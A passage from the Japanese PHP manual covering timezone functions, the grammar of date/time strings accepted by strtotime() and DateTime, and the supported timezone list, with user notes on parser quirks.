// Should show int(32400) (for dates after Sat Sep 8 01:00:00 1951 JST).
print("Number of seconds Japan is ahead of GMT at the specific time: ");
var_dump($timeOffset);

print("<br />Number of seconds Taipei is ahead of GMT at the specific time: ");
var_dump($dateTimeZoneTaipei->getOffset($dateTimeTaipei));

print("<br />Number of seconds Japan is ahead of Taipei at the specific time: ");
var_dump($dateTimeZoneJapan->getOffset($dateTimeTaipei)
     -$dateTimeZoneTaipei->getOffset($dateTimeTaipei));

print("<hr />");

?>

Number of seconds Japan is ahead of GMT at the specific time: int(32400)
Number of seconds Taipei is ahead of GMT at the specific time: int(28800)
Number of seconds Japan is ahead of Taipei at the specific time: int(3600)


DateTimeZone::__construct のエイリアス

  • ≪ timezone_offset_get
  • timezone_transitions_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeZone::__construct のエイリアス

timezone_open

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_open — DateTimeZone::__construct() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeZone::__construct()

User Contributed Notes

There are no user contributed notes for this page.


DateTimeZone::getTransitions のエイリアス

  • ≪ timezone_open
  • timezone_version_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTimeZone::getTransitions のエイリアス

timezone_transitions_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_transitions_get — DateTimeZone::getTransitions() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTimeZone::getTransitions()

User Contributed Notes

There are no user contributed notes for this page.


timezonedb のバージョンを取得する

  • ≪ timezone_transitions_get
  • サポートする日付と時刻の書式 ≫
  • PHP Manual
  • 日付・時刻 関数
  • timezonedb のバージョンを取得する

timezone_version_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

timezone_version_get — timezonedb のバージョンを取得する

説明

timezone_version_get ( ) : string

timezonedb の現在のバージョンを返します。

返り値

文字列を返します。

例

例1 timezonedb のバージョンの取得

<?php
echo timezone_version_get();
?>

上の例の出力は、 たとえば以下のようになります。

2009.7

参考

  • サポートするタイムゾーンの一覧

User Contributed Notes

chupaka at gmail dot com 02-Feb-2021 01:22
On Ubuntu:
If you get '0.system' for the version, this means PHP is using system version of timezone database. For a newer version, simply upgrade 'tzdata' package without installing any PECL extensions:

sudo apt update
sudo apt install tzdata
Omar 14-Sep-2011 10:15
On Ubutu:
If you get 0.system for the version, this means you have the version that PHP shipped with. For a newer version, you must upgrade via the PECL extension (sudo pecl install timezonedb)

http://pecl.php.net/package/timezonedb


サポートする日付と時刻の書式

目次

  • 時刻の書式
  • 日付の書式
  • 複合的な書式
  • 相対的な書式

この節では DateTimeImmutable, DateTime, date_create(), date_create_immutable(), および strtotime() が解釈可能な全ての書式について説明します。 これらの書式はセクションごとにグループ分けされています。 たいていの場合、一つの日付・時刻文字列の中でホワイトスペース、 コンマまたはドットで区切られた異なるセクションの書式を併用することができます。 それぞれの書式について、説明と一緒に1個以上の例を示してあります。 シングルクォートで囲まれたフォーマットは大文字小文字を同一視します ('t' は t とも T とも書けます)。 ダブルクォートで囲まれたフォーマットは大文字小文字を同一視しません ("T" は T としか書けません)。

User Contributed Notes

Ray.Paseur sometimes uses Gmail 19-Oct-2016 03:59
When you've got external inputs that do not strictly follow the formatting and disambiguation rules, you may still be able to use the static method ::createFromFormat() to create a usable DateTime object

<?php
/**
 * Date values separated by slash are assumed to be in American order: m/d/y
 * Date values separated by dash are assumed to be in European order: d-m-y
 * Exact formats for date/time strings can be injected with ::createFromFormat()
 */
error_reporting(E_ALL);

// THIS IS INVALID, WOULD IMPLY MONTH == 19
$external = "19/10/2016 14:48:21";

// HOWEVER WE CAN INJECT THE FORMATTING WHEN WE DECODE THE DATE
$format = "d/m/Y H:i:s";
$dateobj = DateTime::createFromFormat($format, $external);

$iso_datetime = $dateobj->format(Datetime::ATOM);
echo "SUCCESS: $external EQUALS ISO-8601 $iso_datetime";

// MAN PAGE: http://php.net/manual/en/datetime.createfromformat.php


時刻の書式

このページでは、 DateTimeImmutable, DateTime, date_create(), date_create_immutable(), そして strtotime() のパーサーが理解する、 さまざまな時刻フォーマットを説明します。

シンボル一覧
シンボル | 書式 | 例
frac | . [0-9]+ | ".21342", ".85"
hh | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH | [01][0-9] | "2"[0-4] | "04", "07", "19"
meridian | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
MM | [0-5][0-9] | "00", "12", "59"
II | [0-5][0-9] | "00", "12", "59"
space | [ \t] |
tz | "("? [A-Za-z]{1,6} ")"? | [A-Z][a-z]+([_/][A-Z][a-z]+)+ | "CEST", "Europe/Amsterdam", "America/Indiana/Knox"
tzcorrection | "GMT"? [+-] hh ":"? MM? | "+0400", "GMT-07:00", "-07:00"
12時間制の表記
説明 | 書式 | 例
時、午前/午後 | hh space? meridian | "4 am", "5PM"
時、分、午前/午後 | hh [.:] MM space? meridian | "4:08 am", "7:19P.M."
時、分、秒、午前/午後 | hh [.:] MM [.:] II space? meridian | "4:08:37 am", "7:19:19P.M."
MS SQL (時、分、秒、端数、午前/午後) | hh ":" MM ":" II [.:] [0-9]+ meridian | "4:08:39:12313am"
24時間制の表記
説明 | 書式 | 例
時、分 | 't'? HH [.:] MM | "04:08", "19.19", "T23:43"
時、分（コロンなし） | 't'? HH MM | "0408", "t1919", "T2343"
時、分、秒 | 't'? HH [.:] MM [.:] II | "04.08.37", "t19:19:19"
時、分、秒（コロンなし） | 't'? HH MM II | "040837", "T191919"
時、分、秒、タイムゾーン | 't'? HH [.:] MM [.:] II space? ( tzcorrection | tz ) | "040837CEST", "T191919-0700"
時、分、秒、端数 | 't'? HH [.:] MM [.:] II frac | "04.08.37.81412", "19:19:19.532453"
タイムゾーン | tz | tzcorrection | "CEST", "Europe/Amsterdam", "+0430", "GMT-06:00"

User Contributed Notes

There are no user contributed notes for this page.


日付の書式

このページでは、 strtotime() や DateTime そして date_create() のパーサーが理解する、 さまざまな日付フォーマットを説明します。

シンボル一覧
シンボル | 書式 | 例
daysuf | "st" | "nd" | "rd" | "th" |
dd | ([0-2]?[0-9] | "3"[01]) daysuf? | "7th", "22nd", "31"
DD | "0" [0-9] | [1-2][0-9] | "3" [01] | "07", "31"
m | 'january' | 'february' | 'march' | 'april' | 'may' | 'june' | 'july' | 'august' | 'september' | 'october' | 'november' | 'december' | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' | "I" | "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" | "X" | "XI" | "XII" |
M | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
mm | "0"? [0-9] | "1"[0-2] | "0", "04", "7", "12"
MM | "0" [0-9] | "1"[0-2] | "00", "04", "07", "12"
y | [0-9]{1,4} | "00", "78", "08", "8", "2008"
yy | [0-9]{2} | "00", "08", "78"
YY | [0-9]{4} | "2000", "2008", "1978"
各国ごとの表記法
説明 | 書式 | 例
アメリカ式の月、日 | mm "/" dd | "5/12", "10/27"
アメリカ式の月、日、年 | mm "/" dd "/" y | "12/22/78", "1/17/2006", "1/17/6"
スラッシュで区切られた、4桁の年、月、日 | YY "/" mm "/" dd | "2008/6/30", "1978/12/22"
4桁の年、月 (GNU) | YY "-" mm | "2008-6", "2008-06", "1978-12"
ハイフンで区切られた、年、月、日 | y "-" mm "-" dd | "2008-6-30", "78-12-22", "8-6-21"
ドットかタブかハイフンで区切られた、日、月、4桁の年 | dd [.\t-] mm [.-] YY | "30-6-2008", "22.12.1978"
ドットかタブで区切られた、日、月、2桁の年 | dd [.\t] mm "." yy | "30.6.08", "22\t12.78"
日、月の文字表記、年 | dd ([ \t.-])* m ([ \t.-])* y | "30-June 2008", "22DEC78", "14 III 1879"
月の文字表記、4桁の年 (日は1日にリセットされる) | m ([ \t.-])* YY | "June 2008", "DEC1978", "March 1879"
4桁の年、月の文字表記 (日は1日にリセットされる) | YY ([ \t.-])* m | "2008 June", "1978-XII", "1879.MArCH"
月の文字表記、日、年 | m ([ .\t-])* dd [,.stndrh\t ]+ y | "July 1st, 2008", "April 17, 1790", "May.9,78"
月の文字表記、日 | m ([ .\t-])* dd [,.stndrh\t ]* | "July 1st,", "Apr 17", "May.9"
日、月の文字表記 | d ([ .\t-])* m | "1 July", "17 Apr", "9.May"
月の省略形、日、年 | M "-" DD "-" y | "May-09-78", "Apr-17-1790"
年、月の省略形、日 | y "-" M "-" DD | "78-Dec-22", "1814-MAY-17"
年 (年だけの指定) | YY | "1978", "2008"
月の文字表記 (月だけの指定) | m | "March", "jun", "DEC"
ISO 8601 に準拠した表記法
説明 | 書式 | 例
年、月、日の8桁 | YY MM DD | "15810726", "19780417", "18140517"
スラッシュで区切られた、4桁の年、月、日 | YY "/" MM "/" DD | "2008/06/30", "1978/12/22"
ハイフンで区切られた、2桁の年、月、日 | yy "-" MM "-" DD | "08-06-30", "78-12-22"
符号つきまたは符号なしの4桁の年、月、日 | [+-]? YY "-" MM "-" DD | "-0002-07-26", "+1978-04-17", "1814-05-17"

注意:

シンボル y または yy を含む書式について、 100未満の年は特別な扱いになります。年が0から69までの間だった場合、 2000を足した数になります。 また、年が70から99までの間だった場合、1900を足した数になります。 つまり、"00-01-01" は "2000-01-01" と解釈されます。

注意:

書式「ドットかタブで区切られた、日、月、2桁の年」 (dd [.\t] mm "." yy) は年が61から99の間のときだけ機能します。 この範囲外の年を与えた場合には 時刻の書式 の "HH [.:] MM [.:] SS" が優先されます。

注意:

書式「年 (年だけの指定)」は、時刻の指定が先に出現している場合のみ機能します。 そうでない場合、指定された4桁は HH MM とみなされます。

警告

シンボル dd と DD について、 オーバーフローやアンダーフローすることができます。 つまり、 0 日は先月の最終日の意味になりますし、 オーバーフローすると翌月に繰り越しになります。 このルールにより、"2008-08-00" は "2008-07-31" と同一になり、 "2008-06-31" は "2008-07-01" と同一になります ( 6 月は 30 日までしかないので)。

「日」の範囲が 0 から 31 までに絞られていることに注意しましょう。 先ほどの正規表現が示すとおりです。 したがって、たとえば "2008-06-32" は日付文字列として妥当な形式ではなくなります。

また、シンボル mm と MM についても 0 を用いてアンダーフローすることができます。 0 月は前年の 12 月を意味します。 たとえば "2008-00-22" は "2007-12-22" と同一です。

もしこれらを併用し、日も月もアンダーフローした場合は次のようになります。 "2008-00-00" は、まず "2007-12-00" へと変換され、 さらに "2007-11-30" へと変換されます。 文字列 "0000-00-00" についても同様に "-0001-11-30" へと変形されます。 (ISO 8601 における -1 年は、予測的グレゴリオ暦 (proleptic Gregorian calendar) で言うところの紀元前 2 年になります。)

User Contributed Notes

There are no user contributed notes for this page.


複合的な書式

このページでは、 strtotime() や DateTime そして date_create() のパーサーが理解する、 さまざまな日付/時刻 複合フォーマットを説明します。

シンボル一覧
シンボル | 書式 | 例
DD | "0" [0-9] | [1-2][0-9] | "3" [01] | "02", "12", "31"
doy | "00"[1-9] | "0"[1-9][0-9] | [1-2][0-9][0-9] | "3"[0-5][0-9] | "36"[0-6] | "001", "012", "180", "350", "366"
frac | . [0-9]+ | ".21342", ".85"
hh | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH | [01][0-9] | "2"[0-4] | "04", "07", "19"
meridian | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
ii | [0-5]?[0-9] | "04", "8", "59"
II | [0-5][0-9] | "04", "08", "59"
M | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
MM | [0-1][0-9] | "00", "12"
space | [ \t] |
ss | ([0-5]?[0-9])|60 | "04", "8", "59", "60" (うるう秒)
SS | [0-5][0-9] | "04", "08", "59"
W | "0"[1-9] | [1-4][0-9] | "5"[0-3] | "05", "17", "53"
tzcorrection | "GMT"? [+-] hh ":"? II? | "+0400", "GMT-07:00", "-07:00"
YY | [0-9]{4} | "2000", "2008", "1978"
標準仕様/アプリケーションごとの表記法
説明 | 書式 | 例
Common Log Format | dd "/" M "/" YY : HH ":" II ":" SS space tzcorrection | "10/Oct/2000:13:55:36 -0700"
EXIF | YY ":" MM ":" DD " " HH ":" II ":" SS | "2008:08:07 18:11:31"
ISO の年、 ISO の週番号 | YY "-"? "W" W | "2008W27", "2008-W28"
ISO の年、 ISO の週番号、 ISO の曜日番号 | YY "-"? "W" W "-"? [0-7] | "2008W273", "2008-W28-3"
MySQL | YY "-" MM "-" DD " " HH ":" II ":" SS | "2008-08-07 18:11:31"
PostgreSQL: 年、日番号 | YY "."? doy | "2008.197", "2008197"
SOAP | YY "-" MM "-" DD "T" HH ":" II ":" SS frac tzcorrection? | "2008-07-01T22:35:17.02", "2008-07-01T22:35:17.03+08:00"
Unix タイムスタンプ | "@" "-"? [0-9]+ | "@1215282385"
XMLRPC | YY MM DD "T" hh ":" II ":" SS | "20080701T22:38:07", "20080701T9:38:07"
XMLRPC (短縮形) | YY MM DD 't' hh II SS | "20080701t223807", "20080701T093807"
WDDX | YY "-" mm "-" dd "T" hh ":" ii ":" ss | "2008-7-1T9:3:37"

注意:

書式「 ISO の年、 ISO の週番号」と 「 ISO の年、 ISO の週番号、 ISO の曜日番号」で使われている "W" は大文字小文字を同一視しません。大文字の "W" だけが利用できます。

「 SOAP 」、「 XMRPC 」および「 WDDX 」の各書式中の "T" は大文字小文字を同一視しません。大文字の "T" だけが利用できます。

書式「 Unix タイムスタンプ 」は、タイムゾーンを UTC に設定します。

（訳注）書式「 Common Log Format 」は、 Apache ログにおける時刻の書式です。

（訳注）書式「 ISO の年、 ISO の週番号」と 「 ISO の年、 ISO の週番号、 ISO の曜日番号」は、 ISO 8601で規定されている表記法です。 定義上、週が前年あるいは翌年に属すことがあるので注意してください。 たとえば、 ISO 8601 の定義では 2010 年の第 1 週は 1 月 3 日から 1 月 9 日までとなり、 2010 年の 1 月 1 日と 1 月 2 日は 2009 年の第 53 週に属します。

User Contributed Notes

Bilge at steam250 dot com 14-Dec-2020 06:36
Unix timestamps also accept a microseconds specifier. e.g. @1607974647.503686 is valid and will be parsed as 2020-12-14 19:37:27.503686+00.
tuxedobob 21-Apr-2016 06:55
When trying to create a DateTime from a string, PHP essentially doesn't care about leading zeroes in hours.

When converting a DateTime to a string, PHP will honor leading zeroes as documented in date().


相対的な書式

このページでは、 strtotime() や DateTime そして date_create() のパーサーが理解する、 さまざまな相対日付/時刻フォーマットを説明します。

シンボル一覧
シンボル | 書式
dayname | 'sunday' | 'monday' | 'tuesday' | 'wednesday' | 'thursday' | 'friday' | 'saturday' | 'sun' | 'mon' | 'tue' | 'wed' | 'thu' | 'fri' | 'sat'
daytext | 'weekday' | 'weekdays'
number | [+-]?[0-9]+
ordinal | 'first' | 'second' | 'third' | 'fourth' | 'fifth' | 'sixth' | 'seventh' | 'eighth' | 'ninth' | 'tenth' | 'eleventh' | 'twelfth' | 'next' | 'last' | 'previous' | 'this'
reltext | 'next' | 'last' | 'previous' | 'this'
space | [ \t]+
unit | (('sec' | 'second' | 'min' | 'minute' | 'hour' | 'day' | 'fortnight' | 'forthnight' | 'month' | 'year') 's'?) | 'weeks' | daytext
日付に基づいた表記
書式 | 説明 | 例
'yesterday' | 昨日の00:00:00 | "yesterday 14:00"
'midnight' | 時刻を00:00:00にします |
'today' | 時刻を00:00:00にします |
'now' | 今 - 単に無視されます |
'noon' | 時刻を12:00:00にします | "yesterday noon"
'tomorrow' | 明日の00:00:00 |
'back of' hour | 指定された時の15分後 | "back of 7pm", "back of 15"
'front of' hour | 指定された時の15分前 | "front of 5am", "front of 23"
'first day of' | 現在月の最初の日にします。 この書式に続けて月名を指定する使いかたが最適です。 | "first day of January 2008"
'last day of' | 現在月の最後の日にします。 この書式に続いて月名を指定する使いかたが最適です。 | "last day of next month"
ordinal space dayname space 'of' | 現在月のx番目の曜日を計算します。 | "first sat of July 2008"
'last' space dayname space 'of' | 現在月の 最後の 曜日を計算します。 | "last sat of July 2008"
number space? (unit | 'week') | 値を数値で指定するような、相対的な時間指定を処理します。 | "+5 weeks", "12 day", "-7 weekdays"
ordinal space unit | 値を英単語で指定するような、相対的な時間指定を処理します。 | "fifth day", "second month"
'ago' | 直前に指定された相対的な時間指定について、正負反転します。 | "2 days ago", "8 days ago 14:00", "2 months 5 days ago", "2 months ago 5 days", "2 days ago"
dayname | 現在からみて次にやってくる、指定された曜日にします。 | "Monday"
reltext space 'week' | 特別な書式 "weekday + last/this/next week" を処理します。 | "Monday next week"

注意:

相対的な記述は、相対的でない記述の 後で 処理されます。 このため、 "+1 week july 2008" と "july 2008 +1 week" とは同一になります。

ただし、 "yesterday"、 "midnight"、 "today"、 "noon" そして "tomorrow" はこのルールの例外です。 つまり、 "tomorrow 11:00" と "11:00 tomorrow" は異なります。 たとえば、今日が2008年7月23日だとしましょう。 このときの1つ目の結果は "2008-07-24 11:00" ですが、 2つ目の方は "2008-07-24 00:00" となります。 このような結果になる理由は、 これら5つの記述が現在時刻に直接影響するためです。

注意:

日付/時刻文字列中の曜日指定が現在の曜日と同じ場合は、 以下の点に注意してください。 この場合、日付文字列中の曜日は、曜日を明示的に指定しなかった場合に 日付文字列の相対的でない部分から計算される曜日と同一ではありますが、 指定しなくても同じというわけではありません。

  1. "dayname" は、 日付を進め ません 。 (例: "Wed July 23rd, 2008" は "2008-07-23" の意味です。)
  2. "number dayname" は、 日付を進めません 。 (例: "1 wednesday july 23rd, 2008" は "2008-07-23" の意味です。)
  3. "number week dayname" は、 指定された週を加算しますが、 さらに日付を進めることはしません。 この場合、"number week" と "dayname" は 2 つの別個のブロックとなります。 (例: "+1 week wednesday july 23rd, 2008" は "2008-07-30" の意味です。)
  4. "ordinal dayname" は、日付を別の日まで進めます。 (例: "first wednesday july 23rd, 2008" は "2008-07-30" の意味です。)
  5. "number week ordinal dayname" は、まず指定された週を加算し、 それから日付を別の日まで進めます。 この場合、 "number week" と "ordinal dayname" は2つの別個のブロックとなります。 (例: "+1 week first wednesday july 23rd, 2008" は "2008-08-06" の意味です。)
  6. "ordinal dayname 'of' " は日付を進め ません 。 (例: "first wednesday of july 23rd, 2008" は "2008-07-02" の意味です。 なぜなら、'of'を含む一連の語群 'first wednesday of july' が 相対的な書式として処理されることで 日付を同月の '1' 日にリセットしてしまい、'23rd' は無視されてしまうのです。)

また、書式 "ordinal space dayname space 'of' " と "'last' space dayname space 'of' " に含まれる "of" は少々特別扱いなので、注意してください。

  1. 日付を指定月の1日にします。
  2. "ordinal dayname 'of' " は日付を進め ません 。 (例: "first tuesday of july 2008" は "2008-07-01" の意味です。)
  3. "ordinal dayname " は日付を進め ます 。 (例: "first tuesday july 2008" は "2008-07-08" の意味です。上記の項番4を参照。)
  4. "'last' dayname 'of' " は、 指定された曜日（dayname）の同月最後の日を返します。 (例: "last wed of july 2008" は "2008-07-30" の意味です。)
  5. "'last' dayname" は、 現在日付からみて直前の、指定された曜日（dayname）を返します。 (例: "last wed july 2008" は "2008-06-25" の意味です。 まず "july 2008" を処理して現在日付を "2008-07-01" とみなし、 次に "last wed" により直前の水曜日、つまり "2008-06-25" へと移動します。)

注意:

月数を相対指定すると、その途中に経過する月の日数を使って結果を算出します。 たとえば "+2 month 2011-11-30" の結果は "2012-01-30" となります。 11 月の日数は 30 日、12 月の日数は 31 日なので、 その合計である 61 日後となるわけです。

注意:

number は 整数値 です。 つまり、小数値が与えられると、ドット(またはコンマ) はデリミタとして解釈されがちです。 たとえば、'+1.5 hours' は '+1 hour +30 minutes' ではなく '+1 5 hours' のようにパースされます。

変更履歴

バージョン | 説明
5.6.23, 7.0.8 | 週の始まりが常に月曜日となりました。 これより前のバージョンでは、日曜日も週の始まりとみなされていました。
5.3.3 | "first day" と "last day" が、それぞれ "+1 day" と "-1 day" のように振る舞うようになりました。以前はそれぞれ "first day of" と "last day of" でした。

User Contributed Notes

mike 21-Oct-2020 10:33
in case of somone wonder 'last day of 1 month ago' is also posible (not only month names)
yaroslav429 at gmail dot com 28-Sep-2020 11:51
@Igor, @Mark Simon, seems that was fixed.

PHP 7.4.10
<?php
new DateTimeImmutable('midnight first day of');
/* date: 2020-09-01 00:00:00.0 UTC (+00:00) */

new DateTimeImmutable('midnight first day of next month next year');
/* date: 2021-10-01 00:00:00.0 UTC (+00:00) */
?>
InvisibleSmiley 10-Sep-2020 05:52
Both dayname AND daytext ("weekday"/"weekdays") reset time information to 0.

Depending on how accurate you need it, the following may work for you:

new DateTime('last weekday ' . date('H:i:s'));
new DateTime('last weekday ' . (new DateTime())->format('H:i:s.u'));

(As documented, date() doesn't handle microseconds.)
Igor 17-Jan-2018 12:23
@Mark Simon, while you're correct, it's still possible to get first/last day of the year using relative date formats, though in a somewhat roundabout way.
<?php
    echo gmdate('F j, Y', strtotime('first day of january this year'));;
    /* Output: January 1, 2018 */

    echo gmdate('F j, Y', strtotime('last day of december this year'));;
    /* Output: December 31, 2018 */
?>
php at rcs dot us 01-Dec-2016 01:44
I'm not sure if this is a bug or expected. As erwin points out :

"first monday of may 2011" is invalid, but "first monday may 2011" does work. Simply omit "of" if above examples do not work.

This still applies in 5.5 as well, and I ran into it while building out a utility to check if a day was a holiday.

Meaning "fourth day July 2016" /works/, but "fourth day of July 2016" does not. It will return an error. I emphasize works, because "fourth day July 2016" actually returns 2016-07-05. So you'll need "third day July 2016" for the Fourth of July.

However, "Last Monday May 2016" and "Last Monday of May 2016" ( for Memorial Day ) are both /valid/, but produce different results. The first returns 2016-04-25, which is incorrect, while the second returns the correct 2016-05-30.
phpnet at rudde dot org 06-Apr-2016 01:45
Get the first day of a month, in a typical calendar month, typically the Monday in the first week of the month. In my example when the code is ran at 2016-04-06, 1st of april will be a Friday, since Calendars typically start on monday, this is the date you might want, in this case this would be 28th of March.

<?php
/* Code ran at 2016-04-06 */
$date = new DateTime('first day of this month');
$date->modify('monday this week');

echo $date->format('Y-m-d');
/* Output: 2016-03-28 */
?>
Mark Simon 28-Sep-2015 06:10
Note that expressions such as "last day of" and "first day of" imply a day of a month, not, for example of the year or week.

So, expressions, such as "first day of this year" will give the first day of this month, with no apparent regard for the year.

As powerful as the parser is, it can lead to disappointing or confusing results.
Pseudoname 08-Jan-2015 04:06
oguzkonya34 at gmail dot com
Point of correction:
Apparently 'next week' advances the week if and only if the day is Sunday. This:
<?php
    echo date('F jS, Y', strtotime('Monday next week 2012-03-31'));
?>
would still return April 2nd.
Quote "
Apparently 'next week' advances the week if and only if the day is Sunday. "
Not really. 2012-03-31 would be Saturday if 2012-04-01 is Sunday as you mentioned. Then Monday next week for 2012-03-31 is April 2nd which is correct.
chris at burnhamup dot com 07-May-2013 04:46
Using strtotime('DAYNAME') like strtotime('Tuesday') returns midnight on the specified day. It doesn't preserve the current time or the time passed into the function.
oguzkonya34 at gmail dot com 17-Apr-2012 08:25
April 1st, 2012 is Sunday. You might expect to get April 2nd, 2012 with 'Monday next week', however this:

<?php
    echo date('F jS, Y', strtotime('Monday next week 2012-04-01'));
?>

returns April 9th, 2012. To get April 2nd, you need to use this:

<?php
    echo date('F jS, Y', strtotime('next Monday 2012-04-01'));
?>

Apparently 'next week' advances the week if and only if the day is Sunday. This:

<?php
    echo date('F jS, Y', strtotime('Monday next week 2012-03-31'));
?>

would still return April 2nd.
scragar at gmail dot com 09-Nov-2011 08:04
Just for those who want the last day of the year without calling the function twice:

<?php
echo date('Y-m-d',
    strToTime('1/1 next year -1 day')
);
//   2011-12-31
?>

For reference this is actually saying "Take the first day of the first month next year, then subtract 1 day".
matt 14-Sep-2011 02:23
If the ordinal being used is "last" and the next month is n, use the "n 1". Otherwise, if the previous month is p and it has d number of days in it, use "p d".

For example: "last thursday of November" becomes "last thursday December 1" and "fourth thursday of November" becomes "fourth thursday September 30th"

Hopes this helps someone out there.
geneticdrift 31-Mar-2011 10:50
Month skipping has issues with number of days in the month.

'+1 month' may move to the following month if the next month has less days than the current:

<?php print date('d M Y H:i:s', strtotime('+1 month', strtotime('Thu Mar 31 19:50:41 IST 2011'))); ?>
Prints: 01 May 2011 19:50:41

But with 'last day of +1 month' the result is different:

<?php print date('d M Y H:i:s', strtotime('last day of +1 month', strtotime('Thu Mar 31 19:50:41 IST 2011'))); ?>
Prints: 30 Apr 2011 19:50:41

(PHP 5.3.3)


サポートされるタイムゾーンのリスト

目次

  • アフリカ
  • アメリカ
  • 南極
  • 北極
  • アジア
  • 大西洋
  • オーストラリア
  • ヨーロッパ
  • インド
  • 太平洋
  • その他

これは、PHP がサポートしているタイムゾーンの完全なリストです。例えば date_default_timezone_set() などで使用します。

警告

ここに挙げられていないタイムゾーンの挙動は未定義です。

注意: 最新バージョンのタイムゾーンデータベースは、PECL の » timezonedb からインストールできます。

注意: このリストの元になっているのは、タイムゾーンデータベース バージョン 2021.1.

User Contributed Notes

There are no user contributed notes for this page.


アフリカ

アフリカ
Africa/Abidjan | Africa/Accra | Africa/Addis_Ababa | Africa/Algiers
Africa/Asmara | Africa/Bamako | Africa/Bangui | Africa/Banjul
Africa/Bissau | Africa/Blantyre | Africa/Brazzaville | Africa/Bujumbura
Africa/Cairo | Africa/Casablanca | Africa/Ceuta | Africa/Conakry
Africa/Dakar | Africa/Dar_es_Salaam | Africa/Djibouti | Africa/Douala
Africa/El_Aaiun | Africa/Freetown | Africa/Gaborone | Africa/Harare
Africa/Johannesburg | Africa/Juba | Africa/Kampala | Africa/Khartoum
Africa/Kigali | Africa/Kinshasa | Africa/Lagos | Africa/Libreville
Africa/Lome | Africa/Luanda | Africa/Lubumbashi | Africa/Lusaka
Africa/Malabo | Africa/Maputo | Africa/Maseru | Africa/Mbabane
Africa/Mogadishu | Africa/Monrovia | Africa/Nairobi | Africa/Ndjamena
Africa/Niamey | Africa/Nouakchott | Africa/Ouagadougou | Africa/Porto-Novo
Africa/Sao_Tome | Africa/Tripoli | Africa/Tunis | Africa/Windhoek

User Contributed Notes

There are no user contributed notes for this page.


アメリカ

アメリカ
America/Adak | America/Anchorage | America/Anguilla | America/Antigua
America/Araguaina | America/Argentina/Buenos_Aires | America/Argentina/Catamarca | America/Argentina/Cordoba
America/Argentina/Jujuy | America/Argentina/La_Rioja | America/Argentina/Mendoza | America/Argentina/Rio_Gallegos
America/Argentina/Salta | America/Argentina/San_Juan | America/Argentina/San_Luis | America/Argentina/Tucuman
America/Argentina/Ushuaia | America/Aruba | America/Asuncion | America/Atikokan
America/Bahia | America/Bahia_Banderas | America/Barbados | America/Belem
America/Belize | America/Blanc-Sablon | America/Boa_Vista | America/Bogota
America/Boise | America/Cambridge_Bay | America/Campo_Grande | America/Cancun
America/Caracas | America/Cayenne | America/Cayman | America/Chicago
America/Chihuahua | America/Costa_Rica | America/Creston | America/Cuiaba
America/Curacao | America/Danmarkshavn | America/Dawson | America/Dawson_Creek
America/Denver | America/Detroit | America/Dominica | America/Edmonton
America/Eirunepe | America/El_Salvador | America/Fort_Nelson | America/Fortaleza
America/Glace_Bay | America/Goose_Bay | America/Grand_Turk | America/Grenada
America/Guadeloupe | America/Guatemala | America/Guayaquil | America/Guyana
America/Halifax | America/Havana | America/Hermosillo | America/Indiana/Indianapolis
America/Indiana/Knox | America/Indiana/Marengo | America/Indiana/Petersburg | America/Indiana/Tell_City
America/Indiana/Vevay | America/Indiana/Vincennes | America/Indiana/Winamac | America/Inuvik
America/Iqaluit | America/Jamaica | America/Juneau | America/Kentucky/Louisville
America/Kentucky/Monticello | America/Kralendijk | America/La_Paz | America/Lima
America/Los_Angeles | America/Lower_Princes | America/Maceio | America/Managua
America/Manaus | America/Marigot | America/Martinique | America/Matamoros
America/Mazatlan | America/Menominee | America/Merida | America/Metlakatla
America/Mexico_City | America/Miquelon | America/Moncton | America/Monterrey
America/Montevideo | America/Montserrat | America/Nassau | America/New_York
America/Nipigon | America/Nome | America/Noronha | America/North_Dakota/Beulah
America/North_Dakota/Center | America/North_Dakota/New_Salem | America/Nuuk | America/Ojinaga
America/Panama | America/Pangnirtung | America/Paramaribo | America/Phoenix
America/Port-au-Prince | America/Port_of_Spain | America/Porto_Velho | America/Puerto_Rico
America/Punta_Arenas | America/Rainy_River | America/Rankin_Inlet | America/Recife
America/Regina | America/Resolute | America/Rio_Branco | America/Santarem
America/Santiago | America/Santo_Domingo | America/Sao_Paulo | America/Scoresbysund
America/Sitka | America/St_Barthelemy | America/St_Johns | America/St_Kitts
America/St_Lucia | America/St_Thomas | America/St_Vincent | America/Swift_Current
America/Tegucigalpa | America/Thule | America/Thunder_Bay | America/Tijuana
America/Toronto | America/Tortola | America/Vancouver | America/Whitehorse
America/Winnipeg | America/Yakutat | America/Yellowknife |

User Contributed Notes

Zeusstl 11-Jun-2020 04:58
To get the short timezone value like EDT, you can just use T in the date format. As in,
date->format("H:i:s T")

This would output something like:
13:22:14 EDT
Paul Smalley 20-Oct-2019 10:41
Remember to use underscore "_" instead of any spaces when referencing time zones.
mad_elf at maranelda dot org 23-Jul-2019 03:17
Since I just had to make up this list myself, here for posterity are the timezone mappings for Canada:

Newfoundland ...... America/St_Johns
Atlantic .......... America/Halifax
Atlantic no DST ... America/Blanc-Sablon
Eastern ........... America/Toronto
Eastern no DST .... America/Atikokan
Central ........... America/Winnipeg
Central no DST .... America/Regina
Mountain .......... America/Edmonton
Mountain no DST ... America/Creston
Pacific ........... America/Vancouver
Anonymous 04-Jul-2019 02:45
For those reporting that timezone values above don't work, it may be due an older version of PHP.

https://www.php.net/manual/en/timezones.others.php
>Warning
>Please do not use any of the timezones listed here (besides UTC), they only exist for backward compatible reasons, and may expose erroneous behavior.

For example the value "US/Pacific" is no longer supported, but may be necessary for backwards compatibility reasons.

